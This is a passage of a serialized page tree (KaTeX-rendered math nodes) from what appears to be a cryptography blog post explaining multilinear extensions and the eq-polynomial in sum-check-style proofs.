,[6055],[113425],{"type":22,"tag":118,"props":113426,"children":113427},{},[],{"type":22,"tag":118,"props":113429,"children":113431},{"className":113430,"style":6105},[6104],[],{"type":22,"tag":118,"props":113433,"children":113435},{"className":113434},[6110],[113436],{"type":28,"value":112905},{"type":22,"tag":118,"props":113438,"children":113440},{"className":113439,"style":6105},[6104],[],{"type":22,"tag":118,"props":113442,"children":113444},{"className":113443},[6012],[113445,113449],{"type":22,"tag":118,"props":113446,"children":113448},{"className":113447,"style":111613},[6017],[],{"type":22,"tag":118,"props":113450,"children":113452},{"className":113451},[6023],[113453,113458],{"type":22,"tag":118,"props":113454,"children":113456},{"className":113455,"style":94643},[6023,23542],[113457],{"type":28,"value":95462},{"type":22,"tag":118,"props":113459,"children":113461},{"className":113460},[6040],[113462],{"type":22,"tag":118,"props":113463,"children":113465},{"className":113464},[6045,23596],[113466,113495],{"type":22,"tag":118,"props":113467,"children":113469},{"className":113468},[6050],[113470,113490],{"type":22,"tag":118,"props":113471,"children":113473},{"className":113472,"style":95172},[6055],[113474],{"type":22,"tag":118,"props":113475,"children":113476},{"style":111642},[113477,113481],{"type":22,"tag":118,"props":113478,"children":113480},{"className":113479,"style":6065},[6064],[],{"type":22,"tag":118,"props":113482,"children":113484},{"className":113483},[6070,6071,6072,6073],[113485],{"type":22,"tag":118,"props":113486,"children":113488},{"className":113487},[6023,23542,6073],[113489],{"type":28,"value":3613},{"type":22,"tag":118,"props":113491,"children":113493},{"className":113492},[23699],[113494],{"type":28,"value":23702},{"type":22,"tag":118,"props":113496,"children":113498},{"className":113497},[6050],[113499],{"type":22,"tag":118,"props":113500,"children":113502},{"className":113501,"style":94726},[6055],[113503],{"type":22,"tag":118,"props":113504,"children":113505},{},[],{"type":22,"tag":31,"props":113507,"children":113508},{},[113509,113510,113606,113608,113633,113635,113660],{"type":28,"value":48076},{"type":22,"tag":74,"props":113511,"children":113512},{},[113513,113515],{"type":28,"value":113514},"linear in ",{"type":22,"tag":114,"props":113516,"children":113518},{"className":113517},[5995,5996],[113519],{"type":22,"tag":118,"props":113520,"children":113522},{"className":113521},[6001],[113523],{"type":22,"tag":118,"props":113524,"children":113526},{"className":113525,"ariaHidden":6007},[6006],[113527],{"type":22,"tag":118,"props":113528,"children":113530},{"className":113529},[6012],[113531,113535],{"type":22,"tag":118,"props":113532,"children":113534},{"className":113533,"style":112043},[6017],[],{"type":22,"tag":118,"props":113536,"children":113538},{"className":113537},[6023],[113539,113544],{"type":22,"tag":118,"props":113540,"children":113542},{"className":113541,"style":94877},[6023,23542],[113543],{"type":28,"value":94880},{"type":22,"tag":118,"props":113545,"children":113547},{"className":113546},[6040],[113548],{"type":22,"tag":118,"props":113549,"children":113551},{"className":113550},[6045,23596],[113552,113595],{"type":22,"tag":118,"props":113553,"children":113555},{"className":113554},[6050],[113556,113590],{"type":22,"tag":118,"props":113557,"children":113559},{"className":113558,"style":95172},[6055],[113560],{"type":22,"tag":118,"props":113561,"children":113562},{"style":112072},[113563,113567],{"type":22,"tag":118,"props":113564,"children":113566},{"className":113565,"style":6065},[6064],[],{"type":22,"tag":118,"props":113568,"children":113570},{"className":113569},[6070,6071,6072,6073],[113571],{"type":22,"tag":118,"props":113572,"children":113574},{"className":113573},[6023,6073],[113575,113580,113585],{"type":22,"tag":118,"props":113576,"children":113578},{"className":113577},[6023,23542,6073],[113579],{"type":28,"value":3613},{"type":22,"tag":118,"props":113581,"children":113583},{"className":113582},[6110,6073],[113584],{"type":28,"value":6084},{"type":22,"tag":118,"props":113586,"children":113588},{"className":113587},[6023,6073],[113589],{"type":28,"value":6026},{"type":22,"tag":118,"props":113591,"children":113593},{"className":113592},[23699],[113594],{"type":28,"value":23702},{"type":22,"tag":118,"props":113596,"children":113598},{"className":113597},[6050],[113599],{"type":22,"tag":118,"props":113600,"children":113602},{"className":113601,"style":112113},[6055],[113603],{"type":22,"tag":118,"props":113604,"children":113605},{},[],{"type":28,"value":113607},"! By induction, the final claim is linear in the original ",{"type":22,"tag":114,"props":113609,"children":113611},{"className":113610},[5995,5996],[113612],{"type":22,"tag":118,"props":113613,"children":113615},{"className":113614},[6001],[113616],{"type":22,"tag":118,"props":113617,"children":113619},{"className":113618,"ariaHidden":6007},[6006],[113620],{"type":22,"tag":118,"props":113621,"children":113623},{"className":113622},[6012],[113624,113628],{"type":22,"tag":118,"props":113625,"children":113627},{"className":113626,"style":23537},[6017],[],{"type":22,"tag":118,"props":113629,"children":113631},{"className":113630,"style":94877},[6023,23542],[113632],{"type":28,"value":94880},{"type":28,"value":113634},". If ",{"type":22,"tag":114,"props":113636,"children":113638},{"className":113637},[5995,5996],[113639],{"type":22,"tag":118,"props":113640,"children":113642},{"className":113641},[6001],[113643],{"type":22,"tag":118,"props":113644,"children":113646},{"className":113645,"ariaHidden":6007},[6006],[113647],{"type":22,"tag":118,"props":113648,"children":113650},{"className":113649},[6012],[113651,113655],{"type":22,"tag":118,"props":113652,"children":113654},{"className":113653,"style":23537},[6017],[],{"type":22,"tag":118,"props":113656,"children":113658},{"className":113657,"style":94877},[6023,23542],[113659],{"type":28,"value":94880},{"type":28,"value":113661}," isn't in the transcript, we can solve for it.",{"type":22,"tag":1289,"props":113663,"children":113665},{"id":113664},"multilinear-extensions-mles",[113666],{"type":28,"value":113667},"Multilinear Extensions (MLEs)",{"type":22,"tag":31,"props":113669,"children":113670},{},[113671,113673,113758],{"type":28,"value":113672},"An MLE is just the polynomial view of a table over ",{"type":22,"tag":114,"props":113674,"children":113676},{"className":113675},[5995,5996],[113677],{"type":22,"tag":118,"props":113678,"children":113680},{"className":113679},[6001],[113681],{"type":22,"tag":118,"props":113682,"children":113684},{"className":113683,"ariaHidden":6007},[6006],[113685],{"type":22,"tag":118,"props":113686,"children":113688},{"className":113687},[6012],[113689,113693,113698,113703,113708,113712,113717],{"type":22,"tag":118,"props":113690,"children":113692},{"className":113691,"style":6125},[6017],[],{"type":22,"tag":118,"props":113694,"children":113696},{"className":113695},[23671],[113697],{"type":28,"value":78214},{"type":22,"tag":118,"props":113699,"children":113701},{"className":113700},[6023],[113702],{"type":28,"value":6036},{"type":22,"tag":118,"props":113704,"children":113706},{"className":113705},[6136],[113707],{"type":28,"value":6139},{"type":22,"tag":118,"props":113709,"children":113711},{"className":113710,"style":6143},[6104],[],{"type":22,"tag":118,"props":113713,"children":113715},{"className":113714},[6023],[113716],{"type":28,"value":6026},{"type":22,"tag":118,"props":113718,"children":113720},{"className":113719},[23693],[113721,113726],{"type":22,"tag":118,"props":113722,"children":113724},{"className":113723},[23693],[113725],{"type":28,"value":36080},{"type":22,"tag":118,"props":113727,"children":113729},{"className":113728},[6040],[113730],{"type":22,"tag":118,"props":113731,"children":113733},{"className":113732},[6045],[113734],{"type":22,"tag":118,"props":113735,"children":113737},{"className":113736},[6050],[113738],{"type":22,"tag":118,"props":113739,"children":113741},{"className":113740,"style":110360},[6055],[113742],{"type":22,"tag":118,"props":113743,"children":113744},{"style":6059},[113745,113749],{"type":22,"tag":118,"props":113746,"children":113748},{"className":113747,"style":6065},[6064],[],{"type":22,"tag":118,"props":113750,"children":113752},{"className":113751},[6070,6071,6072,6073],[113753],{"type":22,"tag":118,"props":113754,"children":113756},{"className":113755},[6023,23542,6073],[113757],{"type":28,"value":58344},{"type":28,"value":113759},": it matches the table on Boolean points and extends it to field points.",{"type":22,"tag":31,"props":113761,"children":113762},{},[113763],{"type":28,"value":113764},"For this post, the only property you need is:",{"type":22,"tag":31,"props":113766,"children":113767},{},[113768],{"type":22,"tag":114,"props":113769,"children":113771},{"className":113770},[5995,5996],[113772],{"type":22,"tag":118,"props":113773,"children":113775},{"className":113774},[6001],[113776],{"type":22,"tag":118,"props":113777,"children":113779},{"className":113778,"ariaHidden":6007},[6006],[113780,113942,114214],{"type":22,"tag":118,"props":113781,"children":113783},{"className":113782},[6012],[113784,113789,113858,113863,113924,113929,113933,113938],{"type":22,"tag":118,"props":113785,"children":113788},{"className":113786,"style":113787},[6017],"height:1.1813em;vertical-align:-0.25em;",[],{"type":22,"tag":118,"props":113790,"children":113793},{"className":113791},[6023,113792],"accent",[113794],{"type":22,"tag":118,"props":113795,"children":113797},{"className":113796},[6045,23596],[113798,113846],{"type":22,"tag":118,"props":113799,"children":113801},{"className":113800},[6050],[113802,113841],{"type":22,"tag":118,"props":113803,"children":113806},{"className":113804,"style":113805},[6055],"height:0.9313em;",[113807,113821],{"type":22,"tag":118,"props":113808,"children":113810},{"style":113809},"top:-3em;",[113811,113816],{"type":22,"tag":118,"props":113812,"children":113815},{"className":113813,"style":113814},[6064],"height:3em;",[],{"type":22,"tag":118,"props":113817,"children":113819},{"className":113818,"style":96997},[6023,23542],[113820],{"type":28,"value":35024},{"type":22,"tag":118,"props":113822,"children":113824},{"style":113823},"top:-3.6134em;",[113825,113829],{"type":22,"tag":118,"props":113826,"children":113828},{"className":113827,"style":113814},[6064],[],{"type":22,"tag":118,"props":113830,"children":113834},{"className":113831,"style":113833},[113832],"accent-body","left:-0.0833em;",[113835],{"type":22,"tag":118,"props":113836,"children":113838},{"className":113837},[6023],[113839],{"type":28,"value":113840},"~",{"type":22,"tag":118,"props":113842,"children":113844},{"className":113843},[23699],[113845],{"type":28,"value":23702},{"type":22,"tag":118,"props":113847,"children":113849},{"className":113848},[6050],[113850],{"type":22,"tag":118,"props":113851,"children":113854},{"className":113852,"style":113853},[6055],"height:0.1944em;",[113855],{"type":22,"tag":118,"props":113856,"children":113857},{},[],{"type":22,"tag":118,"props":113859,"children":113861},{"className":113860},[23671],[113862],{"type":28,"value":540},{"type":22,"tag":118,"props":113864,"children":113866},{"className":113865},[6023,113792],[113867],{"type":22,"tag":118,"props":113868,"children":113870},{"className":113869},[6045],[113871],{"type":22,"tag":118,"props":113872,"children":113874},{"className":113873},[6050],[113875],{"type":22,"tag":118,"props":113876,"children":113879},{"className":113877,"style":113878},[6055],"height:0.714em;",[113880,113892],{"type":22,"tag":118,"props":113881,"children":113882},{"style":113809},[113883,113887],{"type":22,"tag":118,"props":113884,"children":113886},{"className":113885,"style":113814},[6064],[],{"type":22,"tag":118,"props":113888,"children":113890},{"className":113889,"style":94643},[6023,23542],[113891],{"type":28,"value":95462},{"type":22,"tag":118,"props":113893,"children":113894},{"style":113809},[113895,113899],{"type":22,"tag":118,"props":113896,"children":113898},{"className":113897,"style":113814},[6064],[],{"type":22,"tag":118,"props":113900,"children":113903},{"className":113901,"style":113902},[113832],"left:-0.1799em;",[113904],{"type":22,"tag":118,"props":113905,"children":113909},{"className":113906,"style":113908},[113907],"overlay","height:0.714em;width:0.471em;",[113910],{"type":22,"tag":36213,"props":113911,"children":113918},{"xmlns":113912,"width":113913,"height":113914,"style":113915,"viewBox":113916,"preserveAspectRatio":113917},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[113919],{"type":22,"tag":113920,"props":113921,"children":113923},"path",{"d":113922},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":22,"tag":118,"props":113925,"children":113927},{"className":113926},[23693],[113928],{"type":28,"value":3627},{"type":22,"tag":118,"props":113930,"children":113932},{"className":113931,"style":6202},[6104],[],{"type":22,"tag":118,"props":113934,"children":113936},{"className":113935},[6207],[113937],{"type":28,"value":282},{"type":22,"tag":118,"props":113939,"children":113941},{"className":113940,"style":6202},[6104],[],{"type":22,"tag":118,"props":113943,"children":113945},{"className":113944},[6012],[113946,113951,114132,114136,114141,114146,114196,114201,114205,114210],{"type":22,"tag":118,"props":113947,"children":113950},{"className":113948,"style":113949},[6017],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":22,"tag":118,"props":113952,"children":113954},{"className":113953},[23578],[113955,113960],{"type":22,"tag":118,"props":113956,"children":113958},{"className":113957,"style":23585},[23578,23583,23584],[113959],{"type":28,"value":110438},{"type":22,"tag":118,"props":113961,"children":113963},{"className":113962},[6040],[113964],{"type":22,"tag":118,"props":113965,"children":113967},{"className":113966},[6045,23596],[113968,114120],{"type":22,"tag":118,"props":113969,"children":113971},{"className":113970},[6050],[113972,114115],{"type":22,"tag":118,"props":113973,"children":113976},{"className":113974,"style":113975},[6055],"height:0.3448em;",[113977],{"type":22,"tag":118,"props":113978,"children":113980},{"style":113979},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[113981,113985],{"type":22,"tag":118,"props":113982,"children":113984},{"className":113983,"style":6065},[6064],[],{"type":22,"tag":118,"props":113986,"children":113988},{"className":113987},[6070,6071,6072,6073],[113989],{"type":22,"tag":118,"props":113990,"children":113992},{"className":113991},[6023,6073],[113993,114047,114052,114057,114062,114067,114072],{"type":22,"tag":118,"props":113994,"children":113996},{"className":113995},[6023,113792,6073],[113997],{"type":22,"tag":118,"props":113998,"children":114000},{"className":113999},[6045],[114001],{"type":22,"tag":118,"props":114002,"children":114004},{"className":114003},[6050],[114005],{"type":22,"tag":118,"props":114006,"children":114009},{"className":114007,"style":114008},[6055],"height:0.9774em;",[114010,114024],{"type":22,"tag":118,"props":114011,"children":114013},{"style":114012},"top:-2.714em;",[114014,114019],{"type":22,"tag":118,"props":114015,"children":114018},{"className":114016,"style":114017},[6064],"height:2.714em;",[],{"type":22,"tag":118,"props":114020,"children":114022},{"className":114021},[6023,23542,6073],[114023],{"type":28,"value":5243},{"type":22,"tag":118,"props":114025,"children":114027},{"style":114026},"top:-2.9774em;",[114028,114032],{"type":22,"tag":118,"props":114029,"children":114031},{"className":114030,"style":114017},[6064],[],{"type":22,"tag":118,"props":114033,"children":114036},{"className":114034,"style":114035},[113832],"left:-0.2355em;",[114037],{"type":22,"tag":118,"props":114038,"children":114040},{"className":114039,"style":113908},[113907,6073],[114041],{"type":22,"tag":36213,"props":114042,"children":114043},{"xmlns":113912,"width":113913,"height":113914,"style":113915,"viewBox":113916,"preserveAspectRatio":113917},[114044],{"type":22,"tag":113920,"props":114045,"children":114046},{"d":113922},[],{"type":22,"tag":118,"props":114048,"children":114050},{"className":114049},[6207,6073],[114051],{"type":28,"value":23649},{"type":22,"tag":118,"props":114053,"children":114055},{"className":114054},[23671,6073],[114056],{"type":28,"value":78214},{"type":22,"tag":118,"props":114058,"children":114060},{"className":114059},[6023,6073],[114061],{"type":28,"value":6036},{"type":22,"tag":118,"props":114063,"children":114065},{"className":114064},[6136,6073],[114066],{"type":28,"value":6139},{"type":22,"tag":118,"props":114068,"children":114070},{"className":114069},[6023,6073],[114071],{"type":28,"value":6026},{"type":22,"tag":118,"props":114073,"children":114075},{"className":114074},[23693,6073],[114076,114081],{"type":22,"tag":118,"props":114077,"children":114079},{"className":114078},[23693,6073],[114080],{"type":28,"value":36080},{"type":22,"tag":118,"props":114082,"children":114084},{"className":114083},[6040],[114085],{"type":22,"tag":118,"props":114086,"children":114088},{"className":114087},[6045],[114089],{"type":22,"tag":118,"props":114090,"children":114092},{"className":114091},[6050],[114093],{"type":22,"tag":118,"props":114094,"children":114097},{"className":114095,"style":114096},[6055],"height:0.5935em;",[114098],{"type":22,"tag":118,"props":114099,"children":114101},{"style":114100},"top:-2.786em;margin-right:0.0714em;",[114102,114106],{"type":22,"tag":118,"props":114103,"children":114105},{"className":114104,"style":110503},[6064],[],{"type":22,"tag":118,"props":114107,"children":114109},{"className":114108},[6070,110508,110509,6073],[114110],{"type":22,"tag":118,"props":114111,"children":114113},{"className":114112},[6023,23542,6073],[114114],{"type":28,"value":58344},{"type":22,"tag":118,"props":114116,"children":114118},{"className":114117},[23699],[114119],{"type":28,"value":23702},{"type":22,"tag":118,"props":114121,"children":114123},{"className":114122},[6050],[114124],{"type":22,"tag":118,"props":114125,"children":114128},{"className":114126,"style":114127},[6055],"height:0.5144em;",[114129],{"type":22,"tag":118,"props":114130,"children":114131},{},[],{"type":22,"tag":118,"props":114133,"children":114135},{"className":114134,"style":6143},[6104],[],{"type":22,"tag":118,"props":114137,"children":114139},{"className":114138,"style":96997},[6023,23542],[114140],{"type":28,"value":35024},{"type":22,"tag":118,"props":114142,"children":114144},{"className":114143},[23671],[114145],{"type":28,"value":540},{"type":22,"tag":118,"props":114147,"children":114149},{"className":114148},[6023,113792],[114150],{"type":22,"tag":118,"props":114151,"children":114153},{"className":114152},[6045],[114154],{"type":22,"tag":118,"props":114155,"children":114157},{"className":114156},[6050],[114158],{"type":22,"tag":118,"props":114159,"children":114161},{"className":114160,"style":114008},[6055],[114162,114174],{"type":22,"tag":118,"props":114163,"children":114164},{"style":113809},[114165,114169],{"type":22,"tag":118,"props":114166,"children":114168},{"className":114167,"style":113814},[6064],[],{"type":22,"tag":118,"props":114170,"children":114172},{"className":114171},[6023,23542],[114173],{"type":28,"value":5243},{"type":22,"tag":118,"props":114175,"children":114177},{"style":114176},"top:-3.2634em;",[114178,114182],{"type":22,"tag":118,"props":114179,"children":114181},{"className":114180,"style":113814},[6064],[],{"type":22,"tag":118,"props":114183,"children":114185},{"className":114184,"style":114035},[113832],[114186],{"type":22,"tag":118,"props":114187,"children":114189},{"className":114188,"style":113908},[113907],[114190],{"type":22,"tag":36213,"props":114191,"children":114192},{"xmlns":113912,"width":113913,"height":113914,"style":113915,"viewBox":113916,"preserveAspectRatio":113917},[114193],{"type":22,"tag":113920,"props":114194,"children":114195},{"d":113922},[],{"type":22,"tag":118,"props":114197,"children":114199},{"className":114198},[23693],[114200],{"type":28,"value":3627},{"type":22,"tag":118,"props":114202,"children":114204},{"className":114203,"style":6105},[6104],[],{"type":22,"tag":118,"props":114206,"children":114208},{"className":114207},[6110],[114209],{"type":28,"value":112905},{"type":22,"tag":118,"props":114211,"children":114213},{"className":114212,"style":6105},[6104],[],{"type":22,"tag":118,"props":114215,"children":114217},{"className":114216},[6012],[114218,114223,114233,114238,114287,114292,114296,114345],{"type":22,"tag":118,"props":114219,"children":114222},{"className":114220,"style":114221},[6017],"height:1.2274em;vertical-align:-0.25em;",[],{"type":22,"tag":118,"props":114224,"children":114226},{"className":114225},[6023,28],[114227],{"type":22,"tag":118,"props":114228,"children":114230},{"className":114229},[6023],[114231],{"type":28,"value":114232},"eq",{"type":22,"tag":118,"props":114234,"children":114236},{"className":114235},[23671],[114237],{"type":28,"value":540},{"type":22,"tag":118,"props":114239,"children":114241},{"className":114240},[6023,113792],[114242],{"type":22,"tag":118,"props":114243,"children":114245},{"className":114244},[6045],[114246],{"type":22,"tag":118,"props":114247,"children":114249},{"className":114248},[6050],[114250],{"type":22,"tag":118,"props":114251,"children":114253},{"className":114252,"style":114008},[6055],[114254,114266],{"type":22,"tag":118,"props":114255,"children":114256},{"style":113809},[114257,114261],{"type":22,"tag":118,"props":114258,"children":114260},{"className":114259,"style":113814},[6064],[],{"type":22,"tag":118,"props":114262,"children":114264},{"className":114263},[6023,23542],[114265],{"type":28,"value":5243},{"type":22,"tag":118,"props":114267,"children":114268},{"style":114176},[114269,114273],{"type":22,"tag":118,"props":114270,"children":114272},{"className":114271,"style":113814},[6064],[],{"type":22,"tag":118,"props":114274,"children":114276},{"className":114275,"style":114035},[113832],[114277],{"type":22,"tag":118,"props":114278,"children":114280},{"className":114279,"style":113908},[113907],[114281],{"type":22,"tag":36213,"props":114282,"children":114283},{"xmlns":113912,"width":113913,"height":113914,"style":113915,"viewBox":113916,"preserveAspectRatio":113917},[114284],{"type":22,"tag":113920,"props":114285,"children":114286},{"d":113922},[],{"type":22,"tag":118,"props":114288,"children":114290},{"className":114289},[6136],[114291],{"type":28,"value":6139},{"type":22,"tag":118,"props":114293,"children":114295},{"className":114294,"style":6143},[6104],[],{"type":22,"tag":118,"props":114297,"children":114299},{"className":114298},[6023,113792],[114300],{"type":22,"tag":118,"props":114301,"children":114303},{"className":114302},[6045],[114304],{"type":22,"tag":118,"props":114305,"children":114307},{"className":114306},[6050],[114308],{"type":22,"tag":118,"props":114309,"children":114311},{"className":114310,"style":113878},[6055],[114312,114324],{"type":22,"tag":118,"props":114313,"children":114314},{"style":113809},[114315,114319],{"type":22,"tag":118,"props":114316,"children":114318},{"className":114317,"style":113814},[6064],[],{"type":22,"tag":118,"props":114320,"children":114322},{"className":114321,"style":94643},[6023,23542],[114323],{"type":28,"value":95462},{"type":22,"tag":118,"props":114325,"children":114326},{"style":113809},[114327,114331],{"type":22,"tag":118,"props":114328,"children":114330},{"className":114329,"style":113814},[6064],[],{"type":22,"tag":118,"props":114332,"children":114334},{"className":114333,"style":113902},[113832],[114335],{"type":22,"tag":118,"props":114336,"children":114338},{"className":114337,"style":113908},[113907],[114339],{"type":22,"tag":36213,"props":114340,"children":114341},{"xmlns":113912,"width":113913,"height":113914,"style":113915,"viewBox":113916,"preserveAspectRatio":113917},[114342],{"type":22,"tag":113920,"props":114343,"children":114344},{"d":113922},[],{"type":22,"tag":118,"props":114346,"children":114348},{"className":114347},[23693],[114349],{"type":28,"value":3627},{"type":22,"tag":31,"props":114351,"children":114352},{},[114353,114355,114424,114426,114572,114574,114713,114715,114799],{"type":28,"value":114354},"At a fixed challenge point ",{"type":22,"tag":114,"props":114356,"children":114358},{"className":114357},[5995,5996],[114359],{"type":22,"tag":118,"props":114360,"children":114362},{"className":114361},[6001],[114363],{"type":22,"tag":118,"props":114364,"children":114366},{"className":114365,"ariaHidden":6007},[6006],[114367],{"type":22,"tag":118,"props":114368,"children":114370},{"className":114369},[6012],[114371,114375],{"type":22,"tag":118,"props":114372,"children":114374},{"className":114373,"style":113878},[6017],[],{"type":22,"tag":118,"props":114376,"children":114378},{"className":114377},[6023,113792],[114379],{"type":22,"tag":118,"props":114380,"children":114382},{"className":114381},[6045],[114383],{"type":22,"tag":118,"props":114384,"children":114386},{"className":114385},[6050],[114387],{"type":22,"tag":118,"props":114388,"children":114390},{"className":114389,"style":113878},[6055],[114391,114403],{"type":22,"tag":118,"props":114392,"children":114393},{"style":113809},[114394,114398],{"type":22,"tag":118,"props":114395,"children":114397},{"className":114396,"style":113814},[6064],[],{"type":22,"tag":118,"props":114399,"children":114401},{"className":114400,"style":94643},[6023,23542],[114402],{"type":28,"value":95462},{"type":22,"tag":118,"props":114404,"children":114405},{"style":113809},[114406,114410],{"type":22,"tag":118,"props":114407,"children":114409},{"className":114408,"style":113814},[6064],[],{"type":22,"tag":118,"props":114411,"children":114413},{"className":114412,"style":113902},[113832],[114414],{"type":22,"tag":118,"props":114415,"children":114417},{"className":114416,"style":113908},[113907],[114418],{"type":22,"tag":36213,"props":114419,"children":114420},{"xmlns":113912,"width":113913,"height":113914,"style":113915,"viewBox":113916,"preserveAspectRatio":113917},[114421],{"type":22,"tag":113920,"props":114422,"children":114423},{"d":113922},[],{"type":28,"value":114425},", the coefficients ",{"type":22,"tag":114,"props":114427,"children":114429},{"className":114428},[5995,5996],[114430],{"type":22,"tag":118,"props":114431,"children":114433},{"className":114432},[6001],[114434],{"type":22,"tag":118,"props":114435,"children":114437},{"className":114436,"ariaHidden":6007},[6006],[114438],{"type":22,"tag":118,"props":114439,"children":114441},{"className":114440},[6012],[114442,114446,114455,114460,114509,114514,114518,114567],{"type":22,"tag":118,"props":114443,"children":114445},{"className":114444,"style":114221},[6017],[],{"type":22,"tag":118,"props":114447,"children":114449},{"className":114448},[6023,28],[114450],{"type":22,"tag":118,"props":114451,"children":114453},{"className":114452},[6023],[114454],{"type":28,"value":114232},{"type":22,"tag":118,"props":114456,"children":114458},{"className":114457},[23671],[114459],{"type":28,"value":540},{"type":22,"tag":118,"props":114461,"children":114463},{"className":114462},[6023,113792],[114464],{"type":22,"tag":118,"props":114465,"children":114467},{"className":114466},[6045],[114468],{"type":22,"tag":118,"props":114469,"children":114471},{"className":114470},[6050],[114472],{"type":22,"tag":118,"props":114473,"children":114475},{"className":114474,"style":114008},[6055],[114476,114488],{"type":22,"tag":118,"props":114477,"children":114478},{"style":113809},[114479,114483],{"type":22,"tag":118,"props":114480,"children":114482},{"className":114481,"style":113814},[6064],[],{"type":22,"tag":118,"props":114484,"children":114486},{"className":114485},[6023,23542],[114487],{"type":28,"value":5243},{"type":22,"tag":118,"props":114489,"children":114490},{"style":114176},[114491,114495],{"type":22,"tag":118,"props":114492,"children":114494},{"className":114493,"style":113814},[6064],[],{"type":22,"tag":118,"props":114496,"children":114498},{"className":114497,"style":114035},[113832],[114499],{"type":22,"tag":118,"props":114500,"children":114502},{"className":114501,"style":113908},[113907],[114503],{"type":22,"tag":36213,"props":114504,"children":114505},{"xmlns":113912,"width":113913,"height":113914,"style":113915,"viewBox":113916,"preserveAspectRatio":113917},[114506],{"type":22,"tag":113920,"props":114507,"children":114508},{"d":113922},[],{"type":22,"tag":118,"props":114510,"children":114512},{"className":114511},[6136],[114513],{"type":28,"value":6139},{"type":22,"tag":118,"props":114515,"children":114517},{"className":114516,"style":6143},[6104],[],{"type":22,"tag":118,"props":114519,"children":114521},{"className":114520},[6023,113792],[114522],{"type":22,"tag":118,"props":114523,"children":114525},{"className":114524},[6045],[114526],{"type":22,"tag":118,"props":114527,"children":114529},{"className":114528},[6050],[114530],{"type":22,"tag":118,"props":114531,"children":114533},{"className":114532,"style":113878},[6055],[114534,114546],{"type":22,"tag":118,"props":114535,"children":114536},{"style":113809},[114537,114541],{"type":22,"tag":118,"props":114538,"children":114540},{"className":114539,"style":113814},[6064],[],{"type":22,"tag":118,"props":114542,"children":114544},{"className":114543,"style":94643},[6023,23542],[114545],{"type":28,"value":95462},{"type":22,"tag":118,"props":114547,"children":114548},{"style":113809},[114549,114553],{"type":22,"tag":118,"props":114550,"children":114552},{"className":114551,"style":113814},[6064],[],{"type":22,"tag":118,"props":114554,"children":114556},{"className":114555,"style":113902},[113832],[114557],{"type":22,"tag":118,"props":114558,"children":114560},{"className":114559,"style":113908},[113907],[114561],{"type":22,"tag":36213,"props":114562,"children":114563},{"xmlns":113912,"width":113913,"height":113914,"style":113915,"viewBox":113916,"preserveAspectRatio":113917},[114564],{"type":22,"tag":113920,"props":114565,"children":114566},{"d":113922},[],{"type":22,"tag":118,"props":114568,"children":114570},{"className":114569},[23693],[114571],{"type":28,"value":3627},{"type":28,"value":114573}," are constants, so ",{"type":22,"tag":114,"props":114575,"children":114577},{"className":114576},[5995,5996],[114578],{"type":22,"tag":118,"props":114579,"children":114581},{"className":114580},[6001],[114582],{"type":22,"tag":118,"props":114583,"children":114585},{"className":114584,"ariaHidden":6007},[6006],[114586],{"type":22,"tag":118,"props":114587,"children":114589},{"className":114588},[6012],[114590,114594,114654,114659,114708],{"type":22,"tag":118,"props":114591,"children":114593},{"className":114592,"style":113787},[6017],[],{"type":22,"tag":118,"props":114595,"children":114597},{"className":114596},[6023,113792],[114598],{"type":22,"tag":118,"props":114599,"children":114601},{"className":114600},[6045,23596],[114602,114643],{"type":22,"tag":118,"props":114603,"children":114605},{"className":114604},[6050],[114606,114638],{"type":22,"tag":118,"props":114607,"children":114609},{"className":114608,"style":113805},[6055],[114610,114622],{"type":22,"tag":118,"props":114611,"children":114612},{"style":113809},[114613,114617],{"type":22,"tag":118,"props":114614,"children":114616},{"className":114615,"style":113814},[6064],[],{"type":22,"tag":118,"props":114618,"children":114620},{"className":114619,"style":96997},[6023,23542],[114621],{"type":28,"value":35024},{"type":22,"tag":118,"props":114623,"children":114624},{"style":113823},[114625,114629],{"type":22,"tag":118,"props":114626,"children":114628},{"className":114627,"style":113814},[6064],[],{"type":22,"tag":118,"props":114630,"children":114632},{"className":114631,"style":113833},[113832],[114633],{"type":22,"tag":118,"props":114634,"children":114636},{"className":114635},[6023],[114637],{"type":28,"value":113840},{"type":22,"tag":118,"props":114639,"children":114641},{"className":114640},[23699],[114642],{"type":28,"value":23702},{"type":22,"tag":118,"props":114644,"children":114646},{"className":114645},[6050],[114647],{"type":22,"tag":118,"props":114648,"children":114650},{"className":114649,"style":113853},[6055],[114651],{"type":22,"tag":118,"props":114652,"children":114653},{},[],{"type":22,"tag":118,"props":114655,"children":114657},{"className":114656},[23671],[114658],{"type":28,"value":540},{"type":22,"tag":118,"props":114660,"children":114662},{"className":114661},[6023,113792],[114663],{"type":22,"tag":118,"props":114664,"children":114666},{"className":114665},[6045],[114667],{"type":22,"tag":118,"props":114668,"children":114670},{"className":114669},[6050],[114671],{"type":22,"tag":118,"props":114672,"children":114674},{"className":114673,"style":113878},[6055],[114675,114687],{"type":22,"tag":118,"props":114676,"children":114677},{"style":113809},[114678,114682],{"type":22,"tag":118,"props":114679,"children":114681},{"className":114680,"style":113814},[6064],[],{"type":22,"tag":118,"props":114683,"children":114685},{"className":114684,"style":94643},[6023,23542],[114686],{"type":28,"value":95462},{"type":22,"tag":118,"props":114688,"children":114689},{"style":113809},[114690,114694],{"type":22,"tag":118,"props":114691,"children":114693},{"className":114692,"style":113814},[6064],[],{"type":22,"tag":118,"props":114695,"children":114697},{"className":114696,"style":113902},[113832],[114698],{"type":22,"tag":118,"props":114699,"children":114701},{"className":114700,"style":113908},[113907],[114702],{"type":22,"tag":36213,"props":114703,"children":114704},{"xmlns":113912,"width":113913,"height":113914,"style":113915,"viewBox":113916,"preserveAspectRatio":113917},[114705],{"type":22,"tag":113920,"props":114706,"children":114707},{"d":113922},[],{"type":22,"tag":118,"props":114709,"children":114711},{"className":114710},[23693],[114712],{"type":28,"value":3627},{"type":